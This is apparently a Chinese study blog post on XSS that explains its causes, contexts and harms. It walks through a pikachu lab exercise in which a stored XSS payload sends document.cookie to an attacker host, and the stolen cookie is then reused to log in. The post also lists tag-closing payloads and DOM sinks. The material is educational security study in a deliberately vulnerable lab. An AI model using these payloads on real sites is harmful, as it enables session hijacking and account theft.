XSS跨站脚本攻击

devtools/2025/3/16 21:02:32/

1、什么是XSS攻击

XSS全称(Cross Site Scripting)跨站脚本攻击,为了避免与css层叠样式表名称冲突,所以改为xss,是最常见的web应用程序安全漏洞之一。它指的是恶意攻击者往web页面里插入恶意html代码(JavaScript代码加工到index.html文件中),当用户浏览该页之时,嵌入web里面的html代码会被执行,从而达到恶意用户的特殊目的(如得到目标服务器的shell)。

比如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其他技术,如社会工程学等,欺骗目标服务器的管理员打开,然后利用特殊技术得到shell

 2、XSS漏洞出现的原因

程序对输入和输出的控制不够严格,导致恶意构造的脚本输入后,再输出到前端时被浏览器当作有效代码解析执行(展示到客户端时被浏览器解析执行了)从而产生危害

3、XSS攻击的性质

XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常忽略其危害性。这里我总结出xss攻击可分为两类:一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句;另一类则是来自外部的攻击,主要指的是自己构造xss跨站漏洞网页或者寻找非目标机以外的的有跨站漏洞的网页。xss属于也客户端攻击,受害者最终是用户(网站管理员也属于用户之一)。这就意味着xss可以进行“服务端”攻击,加引号是因为管理员要比普通用户的权限大得多,一般管理员都可以对网站进行文件管理、数据管理等操作,而攻击者一般是利用管理员身份作为“跳板”实施攻击。

4、XSS可能存在的地方

其实只要是有用户输入输出、用户交互等一些地方,都可能存在XSS漏洞。

参考xss跨站脚本攻击

<1>HTML context

<p>
Hello {Untrusted Data}
</p>

<2>Attribute Context

<3>URL context

<4>Style Context

<5>Script Context

 

5、XSS的危害

<1>挂马(水坑攻击)

<2>

对于半年没有更新的小企业网站,发生xss漏洞倒是没什么用,但一般在各类的社交平台,邮件系统,开源流行的web应用,BBS,微博等场景中,造成的杀伤力却非常强大

<3>

劫持用户cookie是最常见的跨站攻击方式,通过在网页写入并执行脚本文件(多数情况下是JavaScript脚本代码),劫持用户浏览器,将用户当前使用的sessionID信息发送至攻击者控制的网站或服务器中

<4>

“框架钓鱼”。利用js脚本的基本功能之一:操作网页中的DOM树结构和内容,在网页中通过js脚本,生成虚假的页面,欺骗用户执行操作,而用户所有的输入内容都会发送到攻击者的服务器上

(1)DOM

这里的DOM指当客户端给服务端发送网络请求,服务端给客户端回送一个写了很多标签和和代码的index.html的页面,数据读取出来后返回给浏览器,然后浏览器自上而下解析代码时会将文件中的代码解析成一种文档形式,称为DOM文档(Document Object Mode),也就是文档对象模型。可将其理解为一个与系统平台和编程语言无关的接口,程序和脚本可以通过这个接口动态的访问和修改文件内容、结构、样式。当创建好一个页面并加载到浏览器时,DOM就开始额偷偷生效,它会把网页文档转换为一个文档对象,主要功能是处理网页内容,所以可以使JavaScript语言来操作DOM以达到网页的目的(比如pikachu靶场中就有DOM-XSS漏洞题目,其中就有可以由客户端浏览器中输入特殊字符串达到构造闭合,建立标签执行恶意代码的方法),但其一般不与服务器进行交互,所以它也属于中低危漏洞。

(2)可能触发DOM型XSS的js操作

document.referer

window.name

location

innerHTML

document.write

(3)闭合标签

' οnclick="alert(1111)"

' οnclick="alert('xss')">

'><img src="#" οnmοuseοver="alert('xss')">

<a href=" '</a><script>alert(1);</script>">what do you see?</a>

这里在做pikahcu靶场题的时候,对于在构造payload时,明明闭合方式是双引号" ",但构造的是单引号'也能使herf闭合的问题我上网查了一下,但也就告诉我说是浏览器的纠错机制,不用在意,熟练即可,,,

 

<5>

有局限性的键盘记录

6、XSS测试方法

<1>工具扫描:

APPscan、AWVS、xray等大型漏扫工具、xsstrike等自动化小工具

https://github.com/s0md3v/XSStrike

关于跨站1的扫描与验证,目前已经有工具软件支持,如WebCruiser-Web Vulnerability Scanner(Web 安全漏洞扫描工具,可以扫描出网站存在SQL注入,跨站脚本攻击、XPath注入的页面,并且可以进一步进行SQL注入验证、跨站攻击验证、XPath注入验证,官方网站放这了:

http://sec4app.com

<2>手工测试:

Burpsuite(抓包)、firefox(hackbar)(火狐浏览器F12 hackbar插件)、360开发的一款浏览器插件:XSSER XSSF,(听说这个不太好用,没试过)

7、XSS平台搭建及后台使用(cookie获取)

过程:想要盗取别人的cookie信息的话有一个前提条件,就是应该在别人触发我的XSS攻击时,我的代码应该把收集的cookie信息发送给我的平台接收,这样才获取到了数据。

这是关于cookie的解释

我的kali镜像之前出了点问题,只好卸了重新装,但今晚弄了一晚上也没把phpstudy装回去,显示未找到命令

在各平台上都找了解决办法,也换了命令,发现还是装不上色。刚开始用xshell直接把物理机的phpstudy软件包发过去更简单,但xshell也出了问题,我就纳闷了,昨天还能用来着,,,尝试了很多方法进行时修复,无果

浪费了很多时间,没办法,只能先写下吧,

实战

<1>环境搭建

登录虚拟机安装phpstudy并启动,搭建pikachu平台  然后记得关闭windows10的防火墙以免有影响,还有phpstudy扩展设置下参数开关里的magic_quotes_gpc关闭或取消勾选。打开cmd查看记住ip,返回物理机访问w10ip下的pikachu,可以看到pikachu靶场创建成功,准备另一台虚拟机用于作客户端主机

<2>测试漏洞

打开pikachu靶场下的存储型xss,可以看到可以上传留言的留言列表,上传常用测试标签'"><script>alert(123);</script>  提交,发现回显123,说明有xss漏洞

 

 

<3>获取cookie

获取cookie则需要构造js代码

(1)这里先了解一些js代码的功能

打开一个网页的控制台,

document.location.href;回车可以获取到当前页面的网址;

location.href=某url 则给某url发送请求并跳转到该网址;

document.cookie则获取当前页面的cookie

那么连起来lacation.href="http:xxx(某url)=+document.cookie;则是获取cookie,然后给xxx这个网址发请求的意思(如果这个是hacker的网址,那么hacker就获取到了当前页面的网址)

 

(2)作收集cookie前的准备

接下来回到之前的虚拟机将其作为黑客的主机,然后进入pikachu靶场,进入pikachu Xss后台登录,点击cookie收集,可以看到当前cookie收集的情况,目前是空状态,是保存在数据库里的(包括钓鱼结果和键盘记录都在下方)

 

 

 

接下来我在留言板上上传刚解析的js代码:

 

'"><script>document.location(后面不接.herf也可以)=http:'(这里hacker的url)/pikachu/(靶场根目录)/cookie.php?cookie='+document.cookie;</script>  然后发布(这里的根目录下要有写入恶意代码的文件)

 

此时正常情况下返回cookie收集页面hacker就能看到当前收集到的cookie信息。

 

(3)收集cookie

此时验证刚才的cookie信息可收集之后即可清空收集到的cookie(如果不清空只要数据一加载就会又跳转回上传页面,烦的嘞),然后将上面的攻击代码url换为攻击者主机的ip

 

 

 此刻粘贴攻击代码上传,回到客户端主机,访问刚刚hacker收集到cookie并等待的网址,随便浏览一下pikachu吧尝试,然后返回hacker主机的等待cookie界面就会发现已经收集到了客户端的cookie信息,包括请求的网址都一目了然

 

(4)利用cookie进行攻击

hacker既然收集到了客户端的cookie信息,自然就可以利用这些信息进行登录操作

到此完整的实战流程已了解

 

 

 

 

 

 

 

 

 

 

 

 

 

 


http://www.ppmy.cn/devtools/167642.html

相关文章

UI-APP---基于HBuilder X的微信小程序

目录 概要 Uni-app 和 HBuilderX 的关系 技术名词解释 ui-app: 概念&#xff1a; 核心特点&#xff1a; 技术细节 基本步骤&#xff1a; 开发流程 项目功能分析&#xff1a; ①首页包括公共头部、导航栏、轮播图、视频列表区域。 ②视频详情页包括公共头部区域、视频详情区域、…

AGI大模型(7):提示词应用

1 生成数据 LLM具有⽣成连贯⽂本的强⼤能⼒。使⽤有效的提示策略可以引导模型产⽣更好、更⼀致和更真实的响应。LLMs还可以特别有⽤地⽣成数据,这对于运⾏各种实验和评估⾮常有⽤。例如,我们可以使⽤它来为情感分类器⽣成快速样本,如下所示: 提示: ⽣成10个情感分析的范…

汽车感性负载-智能高边钳位能量计算

随着汽车电子技术的发展&#xff0c;新的电子电气架构下&#xff0c;越来越多的执行部件在车身出现&#xff0c;比如电磁阀、风机、水泵、油泵、雨刮继电器等常用的执行器&#xff0c; 它们一般都表现为感性特点。驱动这些负载的最简单和最常见的方法是将它们连接到高边侧开关(…

深入解析 TCP/IP 协议:架构、原理与应用

TCP/IP 协议是现代互联网的核心通信协议&#xff0c;它定义了计算机之间如何在网络中传输数据。本文深入解析了 TCP/IP 协议的层次结构&#xff0c;包括应用层、传输层、网络层和链路层的功能与协议。详细介绍了 TCP 和 UDP 的工作原理、IP 地址与路由机制、DNS 的域名解析过程…

04.Python基础3

1.列表list 在Python中可以使用列表&#xff0c;对日常生活中的大量数据进行管理。 若没有列表类型&#xff0c;一个变量只能操作一个数据&#xff1b;手动为每个数据创建变量&#xff0c;无法动态添加数据。 (1)定义&#xff1a;由一系列变量组成的可变序列容器 (2)语法&a…

python脚本实现服务器内存和cpu使用监控,并记录日志,可以设置阈值和采样频率

Python 脚本&#xff0c;实现以下功能&#xff1a; 按日期自动生成日志文件&#xff08;例如 cpu_mem_20231001.csv&#xff09;当 CPU 或内存超过阈值时触发记录独立记录报警事件&#xff08;保存到 alert.log&#xff09;支持自定义阈值和监控间隔 脚本代码 import psutil …

C++27--智能指针

目录 1.为什么需要智能指针 2.内存泄漏 2.1什么是内存泄漏&#xff0c;内存泄漏的危害 2.2内存泄漏分类(了解) 2.3如何检测内存泄漏(了解) 2.4如何避免内存泄漏 3.智能指针的使用及原理 3.1RAII 3.2智能指针的原理 3.3std::auto _ptr 3.4std::unique_ptr 3.5std::sh…

discuz门户文章允许游客评论

discuz开启游客评论 1、进入后台&#xff0c;用户--用户组--系统用户组--游客--编辑 2、论坛相关 设置未允许发表回复 3、门户相关--文章评论字数(设置此用户组发表文章评论字数限制&#xff0c;设置为0将禁止此用户组发表评论) 4、验证游客回复 测试站 http://jinzhu.zhaowo.…